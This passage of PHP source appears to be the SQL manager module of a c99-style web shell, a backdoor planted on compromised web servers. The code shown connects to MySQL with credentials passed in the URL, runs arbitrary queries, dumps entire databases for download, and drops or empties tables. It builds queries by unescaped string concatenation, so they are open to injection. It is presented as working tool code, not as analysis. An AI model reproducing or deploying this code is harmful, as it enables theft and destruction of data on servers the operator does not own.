  600.     $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  601.     $err = mysql_smarterror();
  602.     @mysql_select_db($sql_db,$sql_sock);
  603.     if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  604.   }
  605.   else {$sql_sock = FALSE;}
  606.   echo ".: SQL Manager :.<br>";
  607.   if (!$sql_sock) {
  608.     if (!$sql_server) {echo "NO CONNECTION";}
  609.     else {echo "Can't connect! ".$err;}
  610.   }
  611.   else {
  612.     $sqlquicklaunch = array();
  613.     $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  614.     $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  615.     $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  616.     $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  617.     $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  618.     $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  619.     echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
  620.     if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  621.   }
  622.   echo "</td></tr><tr>";
  623.   if (!$sql_sock) {
  624.     echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
  625.     echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  626.   }
  627.   else {
  628.     //Start left panel
  629.     if (!empty($sql_db)) {
  630.       ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
  631.       <?php
  632.       $result = mysql_list_tables($sql_db);
  633.       if (!$result) {echo mysql_smarterror();}
  634.       else {
  635.         echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  636.         $c = 0;
  637.         while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  638.         if (!$c) {echo "No tables found in database.";}
  639.       }
  640.     }
  641.     else {
  642.       ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
  643.       <?php
  644.       $result = mysql_list_dbs($sql_sock);
  645.       if (!$result) {echo mysql_smarterror();}
  646.       else {
  647.         ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
  648.         <?php
  649.         $c = 0;
  650.         $dbs = "";
  651.         while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  652.         echo "<option value=\"\">Databases (".$c.")</option>";
  653.         echo $dbs;
  654.       }
  655.       ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
  656.       <?php
  657.     }
  658.     //End left panel
  659.     echo "</td><td width=\"100%\">";
  660.     //Start center panel
  661.     $diplay = TRUE;
  662.     if ($sql_db) {
  663.       if (!is_numeric($c)) {$c = 0;}
  664.       if ($c == 0) {$c = "no";}
  665.       echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  666.       if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  667.       echo "</b></center>";
  668.       $acts = array("","dump");
  669.       if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  670.       elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  671.       elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  672.       elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  673.       elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  674.       elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  675.       elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  676.       elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  677.       elseif ($sql_tbl_act == "insert") {
  678.         if ($sql_tbl_insert_radio == 1) {
  679.           $keys = "";
  680.           $akeys = array_keys($sql_tbl_insert);
  681.           foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  682.           if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  683.           $values = "";
  684.           $i = 0;
  685.           foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  686.           if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  687.           $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  688.           $sql_act = "query";
  689.           $sql_tbl_act = "browse";
  690.         }
  691.         elseif ($sql_tbl_insert_radio == 2) {
  692.           $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  693.           $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  694.           $result = mysql_query($sql_query) or print(mysql_smarterror());
  695.           $result = mysql_fetch_array($result, MYSQL_ASSOC);
  696.           $sql_act = "query";
  697.           $sql_tbl_act = "browse";
  698.         }
  699.       }
  700.       if ($sql_act == "query") {
  701.         echo "<hr size=\"1\" noshade>";
  702.         if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  703.         if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  704.         if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  705.       }
  706.       if (in_array($sql_act,$acts)) {
  707.         ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
  708.         <form action="<?php echo $surl; ?>">
  709.         <input type="hidden" name="act" value="sql">
  710.         <input type="hidden" name="sql_act" value="newtbl">
  711.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  712.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  713.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  714.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
  715.         <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
  716.         <input type="text" name="sql_newtbl" size="20">
  717.         <input type="submit" value="Create">
  718.         </form></td>
  719.         <td width="30%" height="1"><b>Dump DB:</b>
  720.         <form action="<?php echo $surl; ?>">
  721.         <input type="hidden" name="act" value="sql">
  722.         <input type="hidden" name="sql_act" value="dump">
  723.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  724.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  725.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  726.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
  727.         <?php
  728.         if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  729.         if ($sql_act == "newtbl") {
  730.           echo "<b>";
  731.           if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
  732.             echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  733.           }
  734.           else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  735.         }
  736.         elseif ($sql_act == "dump") {
  737.           if (empty($submit)) {
  738.             $diplay = FALSE;
  739.             echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  740.             echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  741.             $v = join (";",$dmptbls);
  742.             echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  743.             if ($dump_file) {$tmp = $dump_file;}
  744.             else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  745.             echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  746.             echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  747.             echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  748.             echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  749.             echo "</form>";
  750.           }
  751.           else {
  752.             $diplay = TRUE;
  753.             $set = array();
  754.             $set["sock"] = $sql_sock;
  755.             $set["db"] = $sql_db;
  756.             $dump_out = "download";
  757.             $set["print"] = 0;
  758.             $set["nl2br"] = 0;
  759.             $set[""] = 0;
  760.             $set["file"] = $dump_file;
  761.             $set["add_drop"] = TRUE;
  762.             $set["onlytabs"] = array();
  763.             if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  764.             $ret = mysql_dump($set);
  765.             if ($sql_dump_download) {
  766.               @ob_clean();
  767.               header("Content-type: application/octet-stream");
  768.               header("Content-length: ".strlen($ret));
  769.               header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  770.               echo $ret;
  771.               exit;
  772.             }
  773.             elseif ($sql_dump_savetofile) {
  774.               $fp = fopen($sql_dump_file,"w");
  775.               if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  776.               else {
  777.                 fwrite($fp,$ret);
  778.                 fclose($fp);
  779.                 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  780.               }
  781.             }
  782.             else {echo "<b>Dump: nothing to do!</b>";}
  783.           }
  784.         }
  785.         if ($diplay) {
  786.     if (!empty($sql_tbl)) {
  787.       if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  788.       $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  789.       $count_row = mysql_fetch_array($count);
  790.       mysql_free_result($count);
  791.       $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  792.       $tbl_struct_fields = array();
  793.       while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  794.       if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  795.       if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  796.       if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  797.       if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  798.       $perpage = $sql_tbl_le - $sql_tbl_ls;
  799.       if (!is_numeric($perpage)) {$perpage = 10;}
  800.       $numpages = $count_row[0]/$perpage;
  801.       $e = explode(" ",$sql_order);
  802.       if (count($e) == 2) {
  803.         if ($e[0] == "d") {$asc_desc = "DESC";}
  804.         else {$asc_desc = "ASC";}
  805.         $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  806.       }
  807.       else {$v = "";}
  808.       $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  809.       $result = mysql_query($query) or print(mysql_smarterror());
  810.       echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  811.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
  812.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
  813.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
  814.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  815.       if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  816.       if ($sql_tbl_act == "insert") {
  817.         if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  818.         if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
  819.         else {
  820.           echo "<br><br><b>Inserting row into table:</b><br>";
  821.           if (!empty($sql_tbl_insert_q)) {
  822.             $sql_query = "SELECT * FROM `".$sql_tbl."`";
  823.             $sql_query .= " WHERE".$sql_tbl_insert_q;
  824.             $sql_query .= " LIMIT 1;";
  825.             $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  826.             $values = mysql_fetch_assoc($result);
  827.             mysql_free_result($result);
  828.           }
  829.           else {$values = array();}
  830.           echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  831.           foreach ($tbl_struct_fields as $field) {
  832.             $name = $field["Field"];
  833.             if (empty($sql_tbl_insert_q)) {$v = "";}
  834.             echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  835.             $i++;
  836.           }
  837.           echo "</table><br>";
  838.           echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  839.           if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  840.           echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  841.         }
  842.       }
  843.       if ($sql_tbl_act == "browse") {
  844.         $sql_tbl_ls = abs($sql_tbl_ls);
  845.         $sql_tbl_le = abs($sql_tbl_le);
  846.         echo "<hr size=\"1\" noshade>";
  847.         echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  848.         $b = 0;
  849.         for($i=0;$i<$numpages;$i++) {
  850.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  851.           echo $i;
  852.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  853.           if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  854.           else {echo "&nbsp;";}
  855.         }
  856.         if ($i == 0) {echo "empty";}
  857.         echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  858.         echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  859.         echo "<tr>";
  860.         echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  861.         for ($i=0;$i<mysql_num_fields($result);$i++) {
  862.           $v = mysql_field_name($result,$i);
  863.           if ($e[0] == "a") {$s = "d"; $m = "asc";}
  864.           else {$s = "a"; $m = "desc";}
  865.           echo "<td>";
  866.           if (empty($e[0])) {$e[0] = "a";}
  867.           if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  868.           else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  869.           echo "</td>";
  870.         }
  871.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  872.       echo "</tr>";
  873.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  874.        echo "<tr>";
  875.        $w = "";
  876.        $i = 0;
  877.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  878.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  879.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  880.        $i = 0;
  881.        foreach ($row as $k=>$v)
  882.        {
  883.         $v = htmlspecialchars($v);
  884.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  885.         echo "<td>".$v."</td>";
  886.         $i++;
  887.        }
  888.        echo "<td>";
  889.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  890.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  891.        echo "</td>";
  892.        echo "</tr>";
  893.       }
  894.       mysql_free_result($result);
  895.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  896.       echo "<option value=\"\">With selected:</option>";
  897.       echo "<option value=\"deleterow\">Delete</option>";
  898.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  899.      }
  900.     }
  901.     else {
  902.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  903.      if (!$result) {echo mysql_smarterror();}
  904.      else
  905.      {
  906.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  907.       $i = 0;
  908.       $tsize = $trows = 0;
  909.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  910.       {
  911.        $tsize += $row["Data_length"];
  912.        $trows += $row["Rows"];
  913.        $size = view_size($row["Data_length"]);
  914.        echo "<tr>";
  915.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  916.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  917.        echo "<td>".$row["Rows"]."</td>";
  918.        echo "<td>".$row["Type"]."</td>";
  919.        echo "<td>".$row["Create_time"]."</td>";
  920.        echo "<td>".$row["Update_time"]."</td>";
  921.        echo "<td>".$size."</td>";
  922.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  923.        echo "</tr>";
  924.        $i++;
  925.       }
  926.       echo "<tr bgcolor=\"000000\">";
  927.       echo "<td><center><b>+</b></center></td>";
  928.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  929.       echo "<td><b>".$trows."</b></td>";
  930.       echo "<td>".$row[1]."</td>";
  931.       echo "<td>".$row[10]."</td>";
  932.       echo "<td>".$row[11]."</td>";
  933.       echo "<td><b>".view_size($tsize)."</b></td>";
  934.       echo "<td></td>";
  935.       echo "</tr>";
  936.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  937.       echo "<option value=\"\">With selected:</option>";
  938.       echo "<option value=\"tbldrop\">Drop</option>";
  939.       echo "<option value=\"tblempty\">Empty</option>";
  940.       echo "<option value=\"tbldump\">Dump</option>";
  941.       echo "<option value=\"tblcheck\">Check table</option>";
  942.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  943.       echo "<option value=\"tblrepair\">Repair table</option>";
  944.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  945.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  946.       mysql_free_result($result);
  947.      }
  948.     }
  949.    }
  950.    }
  951.   }
  952.   else {
  953.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
